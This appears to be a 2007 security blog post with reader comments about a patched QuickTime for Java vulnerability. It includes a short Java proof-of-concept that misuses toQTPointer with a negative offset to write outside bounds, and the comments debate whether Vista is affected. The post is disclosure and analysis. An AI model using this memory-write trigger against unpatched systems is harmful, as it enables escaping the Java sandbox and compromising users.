Details on Dino’s QuickTime Advisory (With Code Snippet)
As Dave noted, Apple has released a patch for Dino’s QuickTime finding. 3Com followed up with their advisory. Direct your attention to the nut graf:
The flaw exists within the QuickTime Java extensions (QTJava.dll), specifically the routine toQTPointer() exposed through quicktime.util.QTHandleRef. A lack of sanity checking on the parameters passed to this routine, through the Java Virtual Machine (JVM), allows an attacker to write arbitrary values to memory.
What this is saying:
If you have the QuickTime for Java extensions installed (in other words, if you have QuickTime installed),
then a Java applet will be allowed to construct and play with QuickTime objects, which are backed with unprotected C code,
and specifically, some of those objects wrap pointers to memory tracked by a dynamic C library,
and unfortunately those objects are not careful enough with the values passed to them by Java code,
so Java applets can overwrite arbitrary process memory directly,
which they should never be able to do, because keeping Java applet code from touching memory directly is the whole point of the applet sandbox.
The vulnerability appears to be an integer overflow. Translated to minimal Java code (say, the init method of an applet), it reads:
// Initialize QT
QTSession.open();
// Get a handle to anything
byte b[] = new byte[1 /*arbitrary*/];
QTHandle h = new QTHandle(b);
// Turn the handle into a pointer object. The
// large negative value throws off bounds checking.
QTPointerRef p = h.toQTPointer(-2000000000 /*off*/, 10 /*size*/);
// Write to it.
p.copyFromArray(0 /*offset*/, b /*source*/, 0, 1 /*length*/);
In applet form, this reliably crashes my browsers. It is both deliberately and organically far from being useful to an attacker. Note that without comments, it’s 5 lines of code.
Get this one patched quickly! From the ZDI advisory and the QTJava documentation it looks like it takes very little time to figure this one out.
[Update: 11:00PM EST]
Read carefully and note that ZDI’s advisory confirms QuickTime for Vista is vulnerable.
26 Comments so far
Leave a reply
Note also how little this vulnerability has to do with “how QuickTime handles Javascript”:
http://infosecsellout.blogspot.com/2007/04/vulnerabilities-are-not-marketing.html
Not that I’m not conceding that his post was effective.
[…] [1] About the security content of QuickTime 7.1.6 [Apple] [2] Quicktime patches up to 7.1.6 [SANS] [3] Details on Dino’s QuickTime Advisory (With Code Snippet) [Matasano Chargen] […]
That’s Odd. I thought Vista didn’t include Java. Do they mean it affects Vista if you happen to install Apple and Sun code on it? An odd definition of “affects Vista.”
Oh good, I was hoping one of you would hook us up with a little more technical detail than the ZDI advisory had.
[…] Derweil erfährt man nun im Matasano Blog weitere Information zur beseitigten Sicherheitslücke. The vulnerability appears to be an integer overflow. Translated to minimal Java code (say, the init method of an applet), it reads: […]
[…] Más información | Matasano. […]
[…] Details on Dino’s QuickTime Advisory (With Code Snippet) […]
To Someone who works at MS:
No, it means that if you install QuickTime on your Vista… like, oh say… to use itunes.. then you’ve got the goods, and you can get owned.
Sometimes no matter how hard MS tries to remove naughty things that they didn’t “make themselves”… users download other software that Microsoft didn’t ship on the box and therefor subject themselves to additonal vulnerabilities such as this one.
Vista doesn’t ship with QuickTime nor does it ship with Java. Therefore, out of the box, this is another example of Microsoft being bashed for something that it shouldn’t. Out of the box - Apple has this vuln and Vista doesn’t. Point the finger in the right direction.
We report, you decide. I’m just parroting the advisory. =)
Someone who still works at MS:
Out of which box? The box that contained their new PC? After all, that’s how the majority of people acquire Windows, with a new PC (according to Microsoft’s own press releases).
And the point is, Vista’s fancy new whatsits and whoseits didn’t prevent it. That’s all that’s being said. Don’t look for FUD where none exists.
someone who still works at MS:
Are you sure you’re not Stephen Tooulouse? Or is it just part of your employeer’s brainw^H^H^H^H^H^H indoctrination program to make you assume that the only software that anyone could possibly run on Vista must be developed and shipped by Microsoft. A toootally unrelated question: current versions of iTunes and Quicktime for Windows are compiled with VS 2005 SP1 using /GS, SafeSEH and /dynamicbase, yes? yeah right…I thought so.
How would any of GS, SEH, or ASLR have helped in this case? The vulnerability gives you a Java method “write32(addr, word)”.
@thomas: exactly, sorry for the sarcasm. I’m just trying to point out what I’ve said earlier this year and that for which I’ve been ‘ridiculed’ by *some* folks at MSFT: All those expensive new security mechanisms in Vista are useless if third party applications do not “cooperate” and MSFT can’t possibly expect users to just run MSFT code, thus there will be vulnerable (and exploitable) third party applications running on Vista for one or more years to come.
I suppose that GS, SEH and ALSR and a few more things (NX?!) could help if they imposed some severe constrains on the valid values of “addr”. Hmm btw, does the Java VM run within a process with hardware NX on?
So, what the ZDI advisory says is “This vulnerability affects the latest versions of both the MacOS and Windows operating systems, including MacOS 10.4.9 and Windows Vista.“
(Emphasis added.)
So, ZDI, unlike Thomas, is saying that Vista, not ‘quicktime on VIsta’ is vulnerable. That is not accurate. “Vista in many installed configurations” might or might not be.
Sure, it would be great if Microsoft could invent things that would prevent all vulns. Save us and everyone else gobs of money. But defenses in depth are there for when the vuln gets missed. We don’t find things, leave them in, and hope.
PS to Ivan:
No, I’m not Stepto. And I’ll decline to answer further questions like that.
We’re quite aware that other people write code on Vista. We even encourage it. I am objecting to ZDI’s claim that the Windows OS is vulnerable based on a component that we didn’t write, and don’t ship.
Feel free to knock us for mistakes we actually make.
This is a tricky situation given the timelines, scrutiny, and speculation — particularly regarding Vista. It’s hard to deny that this is Apple’s fault, not Microsoft’s.
You can be vulnerable to something, but not be at fault.
There is no Vista-bashing going on here. If anything, I’d say the tone is one of respect for Dino’s work.
Thomas gives us some Quick(time) updates
Interesting that Apple’s advisory
http://docs.info.apple.com/article.html?artnum=305446
does NOT list Vista, just Windows XP SP2 and Windows 2000 SP4. Is Quicktime “technically” not yet supported on Vista?
Even the QT download page only states 2000/XP. There is a request for feedback on the bottom of the page for QT on Vista.
@original someone who works at MS:
I am not “knocking” you for someone else’s mistake, I am pointing our that if I run Vista (or actually any Windows OS) and iTunes/Quicktime on it I’d still be vulnerable to attack. Seems to be a plausible and important scenario to mention given that the iPod sales are at least an order of magnitude higher than Apple PC sales… I’d assume that those owning an iPod and not owning an Apple are not running iTunes/Quicktime on Linux or Solaris right?
I am not at all interested in blaming vendors or pointing fingers at their mistakes (they manage to do that to each other quite well by themselves) I am interested in helping potentially affected users understand that disregarding what OS they run (even Vista) they are _still_ vulnerable to exploitable bugs in the applications they run. Although that seemed to be a fair, common sense statement (at least to me) some of your colleagues did not like to hear it. And since you used the royal “we” in your posts I assumed that you were not posting just your _personal_ opinions. Its either that or that you are some king or The Pope
Our logs strongly suggest that he is in fact the Pope.
Ivan,
I understand what you’re saying. I reacted pretty strongly to the claim that Vista (rather than Vista users) are vulnerable. From one perspective, that’s splitting hairs. From another, it’s saying please be accurate.
And speaking of not being clear, I didn’t actually talk to any of my co-workers about this. So the royal we was expressing my impression of my co-workers opinions in the little corner I work in.
[…] QuickTime update, “$10000” bug ist gefixt. War ziemlich böse, gut dass Apple so schnell reagiert hat. […]
Not to beat a dead horse.. but did this ever have the potential to be exploited on PPC platforms?
[…] The second example that I used came from John Heasman (show in the middle image), and it was another anti-DNS pinning attack that this time utilized the code and codebase parameters of the <APPLET> HTML element to cause the bypass. In this attack, Heasman loads code from the location specified by the “code” parameter, but convinces the JVM that it was loaded from the location specified by the “codebase” parameter. What was specifically interesting about this attack and deserves a revisit, is that Heasman discovered that this same flaw could be used to break out of the Java sandbox and allow an attacker to directly compromise the victim’s underlying operating system. I’ve paraphrased Heasman’s latest blog posting below so that we can discuss: Extensions in Java are groups of packages and classes that augment the runtime classes. Extensions are installed into a specified directory and consequently can be located via the JRE without having to explicitly name them on the class path. QuickTime for Java is an example of a Java extension; once installed it enables Java applications to play QuickTime media (and yes, its had its share of security issues). […]